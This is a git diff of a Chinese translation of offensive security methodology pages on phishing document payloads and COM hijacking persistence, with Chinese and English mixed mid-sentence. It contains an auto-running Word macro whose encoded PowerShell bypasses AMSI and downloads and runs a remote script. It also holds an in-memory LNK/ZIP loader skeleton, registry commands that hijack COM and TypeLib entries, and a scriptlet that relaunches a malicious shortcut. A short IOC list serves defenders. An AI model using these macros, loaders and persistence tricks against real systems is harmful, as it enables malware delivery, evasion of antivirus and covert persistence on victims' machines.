Translated ['src/generic-methodologies-and-resources/phishing-methodolog

This commit is contained in:
Translator 2025-08-28 22:38:10 +00:00
parent a6bdb1ad1b
commit c4a06c195e
2 changed files with 150 additions and 41 deletions

View File

@ -4,37 +4,37 @@
## Office Documents
Microsoft Word 在打开文件之前会执行文件数据验证。数据验证以数据结构识别的形式进行,符合 OfficeOpenXML 标准。如果在数据结构识别过程中发生任何错误,正在分析的文件将无法打开。
Microsoft Word 在打开文件之前会执行文件数据验证。数据验证以数据结构识别的形式根据 OfficeOpenXML standard 进行。如果在数据结构识别过程中发生任何错误,被分析的文件将不会被打开。
通常,包含宏的 Word 文件使用 `.docm` 扩展名。然而,可以通过更改文件扩展名来重命名文件,并仍然保持其宏执行能力。\
例如,RTF 文件设计上不支持宏,但重命名为 RTF 的 DOCM 文件将被 Microsoft Word 处理,并能够执行宏。\
相同的内部机制适用于 Microsoft Office 套件的所有软件Excel、PowerPoint 等)。
通常,包含宏的 Word 文件使用 `.docm` 扩展名。但是,可以通过更改文件扩展名来重命名文件,同时仍保持其宏执行能力。\
例如,按设计 RTF 文件不支持宏,但将 DOCM 文件重命名为 RTF 后Microsoft Word 会将其处理并能够执行宏。\
相同的内部机制适用于 Microsoft Office Suite 的所有软件Excel、PowerPoint 等)。
您可以使用以下命令检查某些 Office 程序将执行哪些扩展名:
您可以使用以下命令检查某些 Office 程序将执行哪些扩展名:
```bash
assoc | findstr /i "word excel powerp"
```
DOCX 文件引用远程模板(文件 选项 插件 管理:模板 转到)时,包括宏也可以“执行”宏。
DOCX files referencing a remote template (File Options Add-ins Manage: Templates Go) that includes macros can “execute” macros as well.
### 外部图加载
### 外部图加载
转到 _插入 --> 快速部件 --> 字段_\
_**类别**:链接和引用,**字段名称**includePicture**文件名或 URL**:_ http://\<ip>/whatever
转到: _Insert --> Quick Parts --> Field_\
_**Categories**:链接和引用,**Filed names**includePicture**Filename or URL**_ http://<ip>/whatever
![](<../../images/image (155).png>)
### 后门
### Macros 后门
可以使用宏从文档中运行任意代码。
可以使用 macros 在文档中运行任意代码。
#### 自动加载函数
它们越常见AV 检测到它们的可能性就越大
这些函数越常见AV 检测到它们的概率越高
- AutoOpen()
- Document_Open()
#### 代码示例
#### Macros 代码示例
```vba
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
@ -64,16 +64,16 @@ Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>
```
#### 手动除元数据
#### 手动除元数据
前往 **File > Info > Inspect Document > Inspect Document**,这将打开文档检查器。点击 **Inspect** 然后在 **Document Properties and Personal Information**点击 **Remove All**
转到 **File > Info > Inspect Document > Inspect Document**,这将打开 Document Inspector。点击 **Inspect**然后在 **Document Properties and Personal Information** 旁点击 **Remove All**
#### 文档扩展名
完成后,选择 **Save as type** 下拉菜单,将格式从 **`.docx`** 更改为 **Word 97-2003 `.doc`**。\
这样做是因为你 **不能在 `.docx` 中保存宏**,并且对宏启用的 **`.docm`** 扩展名有一种 **污名**(例如,缩略图图标上有一个巨大的 `!`,一些网络/电子邮件网关完全阻止它们)。因此,这个 **传统的 `.doc` 扩展名是最佳折衷**
完成后,**Save as type** 下拉菜单中选择,将格式从 **`.docx`** 更改为 **Word 97-2003 `.doc`**。\
这样做的原因是你 **can't save macro's inside a `.docx`**,而且围绕 macro-enabled 的 **`.docm`** 扩展名存在一定的**污名**(例如缩略图图标有一个大的 `!`,一些 web/email gateway 会完全阻止它们)。因此,这个**传统的 `.doc` 扩展名是最佳折衷**
#### 恶意生成器
#### 恶意 Macros 生成器
- MacOS
- [**macphish**](https://github.com/cldrn/macphish)
@ -81,9 +81,9 @@ proc.Create "powershell <beacon line generated>
## HTA 文件
HTA 是一个 Windows 程序,它 **结合了 HTML 和脚本语言(如 VBScript 和 JScript**。它生成用户界面并作为“完全信任”的应用程序执行,且不受浏览器安全模型的限制
HTA 是 Windows 程序,**结合了 HTML 和脚本语言(例如 VBScript 和 JScript**。它生成用户界面并作为“fully trusted”的应用程序执行不受浏览器安全模型的约束
HTA 使用 **`mshta.exe`** 执行,通常与 **Internet Explorer** 一起 **安装**,使得 **`mshta` 依赖于 IE**。因此,如果它被卸载HTA 将无法执行。
HTA 使用 **`mshta.exe`** 执行,该程序通常随 **Internet Explorer** 一起**安装**,这使得 **`mshta` 依赖于 IE**。因此,如果 IE 已被卸载HTA 将无法执行。
```html
<--! Basic HTA Execution -->
<html>
@ -140,9 +140,9 @@ self.close
```
## 强制 NTLM 认证
有几种方法可以**“远程”强制 NTLM 认证**,例如,您可以在用户访问的电子邮件或 HTML 中添加**隐形图像**(甚至是 HTTP MitM。或者将**文件地址**发送给受害者,这将**触发**仅仅**打开文件夹**所需的**认证**。
有几种方法可以**“远程”强制 NTLM 认证**,例如,你可以在用户将访问的邮件或 HTML 中添加**不可见图片**(甚至通过 HTTP MitM。或者发送给受害者一些会在**打开文件夹时**就**触发**认证的**文件地址**。
**在下页面中查看这些想法和更多内容:**
**在下面的页面中查看这些想法和更多内容:**
{{#ref}}
@ -154,11 +154,62 @@ self.close
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
### NTLM 中继
### NTLM Relay
不要忘记,您不仅可以窃取哈希或认证,还可以**执行 NTLM 中继攻击**
别忘了你不仅可以窃取哈希或认证,还可以**执行 NTLM relay attacks**
- [**NTLM 中继攻击**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (NTLM 中继到证书)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
高效的活动通常投递一个 ZIP其中包含两个合法的诱饵文档 (PDF/DOCX) 和一个恶意 .lnk。技巧在于真正的 PowerShell loader 被存放在 ZIP 原始字节中某个唯一标记之后,.lnk 会 carve 出来并在内存中完全运行它。
典型由 .lnk PowerShell 单行命令实现的流程:
1) 在常见路径定位原始 ZIPDesktop, Downloads, Documents, %TEMP%, %ProgramData%, 以及当前工作目录的父目录。
2) 读取 ZIP 字节并查找硬编码标记(例如 xFIQCV。标记之后的所有内容就是嵌入的 PowerShell payload。
3) 将 ZIP 复制到 %ProgramData%,在那里解压,并打开诱饵 .docx 以显得合法。
4) 为当前进程绕过 AMSI: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
5) 对下一阶段进行去混淆(例如移除所有 # 字符)并在内存中执行。
Example PowerShell skeleton to carve and run the embedded stage:
```powershell
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths = @(
"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
)
$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
if(-not $zip){ return }
$bytes = [IO.File]::ReadAllBytes($zip.FullName)
$idx = [System.MemoryExtensions]::IndexOf($bytes, $marker)
if($idx -lt 0){ return }
$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
$code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Invoke-Expression $code
```
说明
- Delivery often abuses reputable PaaS subdomains (e.g., *.herokuapp.com) and may gate payloads (serve benign ZIPs based on IP/UA).
- The next stage frequently decrypts base64/XOR shellcode and executes it via Reflection.Emit + VirtualAlloc to minimize disk artifacts.
在同一链中使用的持久性
- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here:
{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
{{#endref}}
狩猎/IOCs
- ZIP files containing the ASCII marker string (e.g., xFIQCV) appended to the archive data.
- .lnk that enumerates parent/user folders to locate the ZIP and opens a decoy document.
- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- Long-running business threads ending with links hosted under trusted PaaS domains.
## 参考资料
- [Check Point Research ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
- [Hijack the TypeLib New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,23 +4,23 @@
### 搜索不存在的 COM 组件
由于 HKCU 的值可以被用户修改,**COM Hijacking** 可以作为一种 **持久机制**。使用 `procmon` 很容易找到不存在的 COM 注册表项,攻击者可以创建这些项以实现持久化。过滤条件:
由于 HKCU 的值可以被用户修改,**COM Hijacking** 可被用作 **持久化机制**。使用 `procmon` 很容易找到那些不存在但被查询的 COM 注册表项,攻击者可以创建这些项以实现持久化。筛选条件:
- **RegOpenKey** 操作。
- 其中 _Result_**NAME NOT FOUND**
- _Path_**InprocServer32** 结尾。
- 且 _Path_**InprocServer32** 结尾。
一旦你决定了要伪装的不存在的 COM执行以下命令。_如果你决定伪装一个每几秒加载一次的 COM请小心因为这可能会过于激进。_
一旦决定要冒充哪个不存在的 COM执行以下命令。_如果你决定冒充一个每隔几秒就被加载的 COM请小心这可能会造成过度影响overkill。_
```bash
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
```
### 可劫持的任务调度程序 COM 组件
### 可劫持的 Task Scheduler COM components
Windows 任务使用自定义触发器调用 COM 对象,由于它们是通过任务调度程序执行的,因此更容易预测它们何时会被触发。
Windows Tasks 使用 Custom Triggers 来调用 COM objects并且因为它们通过 Task Scheduler 执行,所以更容易预测它们何时会被触发。
<pre class="language-powershell"><code class="lang-powershell"># 显示 COM CLSIDs
<pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
$Tasks = Get-ScheduledTask
foreach ($Task in $Tasks)
@ -34,8 +34,8 @@ $usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }
if ($Task.Principal.GroupId -eq $usersGroup)
{
Write-Host "任务名称: " $Task.TaskName
Write-Host "任务路径: " $Task.TaskPath
Write-Host "Task Name: " $Task.TaskName
Write-Host "Task Path: " $Task.TaskPath
Write-Host "CLSID: " $Task.Actions.ClassId
Write-Host
}
@ -43,15 +43,15 @@ Write-Host
}
}
# 示例输出:
<strong># 任务名称: 示例
</strong># 任务路径: \Microsoft\Windows\Example\
# Sample Output:
<strong># Task Name: Example
</strong># Task Path: \Microsoft\Windows\Example\
# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
# [更多类似于前面的...]</code></pre>
# [more like the previous one...]</code></pre>
检查输出后,您可以选择一个将在 **每次用户登录时** 执行的任务,例如
查看输出,你可以选择一个例如会在 **每次用户登录时** 被执行的任务
现在在 **HKEY\CLASSES\ROOT\CLSID** 以及 HKLM 和 HKCU 中搜索 CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}**,通常会发现该值在 HKCU 中不存在。
现在在 **HKEY\CLASSES\ROOT\CLSID** 以及 HKLM 和 HKCU 中搜索 CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}**,通常会发现该值在 HKCU 中不存在。
```bash
# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
@ -72,6 +72,64 @@ Name Property
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
```
然后,您可以创建 HKCU 条目,每次用户登录时,您的后门将被触发。
然后,你只需创建 HKCU 条目,每当用户登录时,你的 backdoor 就会被触发。
---
## COM TypeLib Hijacking (script: moniker persistence)
Type Libraries (TypeLib) 定义 COM 接口并通过 `LoadTypeLib()` 加载。当一个 COM server 被实例化时,操作系统也可能通过查阅位于 `HKCR\TypeLib\{LIBID}` 下的注册表键来加载关联的 TypeLib。如果 TypeLib 路径被替换为一个 **moniker**,例如 `script:C:\...\evil.sct`,当解析该 TypeLib 时 Windows 会执行该 scriptlet —— 从而产生一种隐蔽的持久化,当常用组件被访问时触发。
已在 Microsoft Web Browser control 上观察到此类行为(该控件常由 Internet Explorer、嵌入 WebBrowser 的应用程序,甚至 `explorer.exe` 加载)。
### 步骤 (PowerShell)
1) 识别被高频率 CLSID 使用的 TypeLib (LIBID)。常被恶意软件链滥用的示例 CLSID`{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}`Microsoft Web Browser
```powershell
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
$ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
"CLSID=$clsid LIBID=$libid VER=$ver"
```
2) 将 per-user TypeLib 路径指向本地 scriptlet使用 `script:` moniker不需要管理员权限:
```powershell
$dest = 'C:\\ProgramData\\Udate_Srv.sct'
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
```
3) 放置一个最小的 JScript `.sct`,重新启动你的主 payload例如初始链使用的 `.lnk`
```xml
<?xml version="1.0"?>
<scriptlet>
<registration progid="UpdateSrv" classid="{F0001111-0000-0000-0000-0000F00D0001}" description="UpdateSrv"/>
<script language="JScript">
<![CDATA[
try {
var sh = new ActiveXObject('WScript.Shell');
// Re-launch the malicious LNK for persistence
var cmd = 'cmd.exe /K set X=1&"C:\\ProgramData\\NDA\\NDA.lnk"';
sh.Run(cmd, 0, false);
} catch(e) {}
]]>
</script>
</scriptlet>
```
4) 触发 打开 IE、嵌入了 WebBrowser control 的应用程序,或甚至常规的 Explorer 活动会加载 TypeLib 并执行 scriptlet从而在 logon/reboot 时重新为你的链路上膛。
清理
```powershell
# Remove the per-user TypeLib hijack
Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null
# Delete the dropped scriptlet
Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
```
注意事项
- 你可以将相同逻辑应用于其他高频 COM 组件;始终先从 `HKCR\CLSID\{CLSID}\TypeLib` 解析真实的 `LIBID`
- 在 64-bit 系统上,你也可以为 64-bit 客户端填充 `win64` 子键。
## 参考资料
- [Hijack the TypeLib New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
- [Check Point Research ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
{{#include ../../banners/hacktricks-training.md}}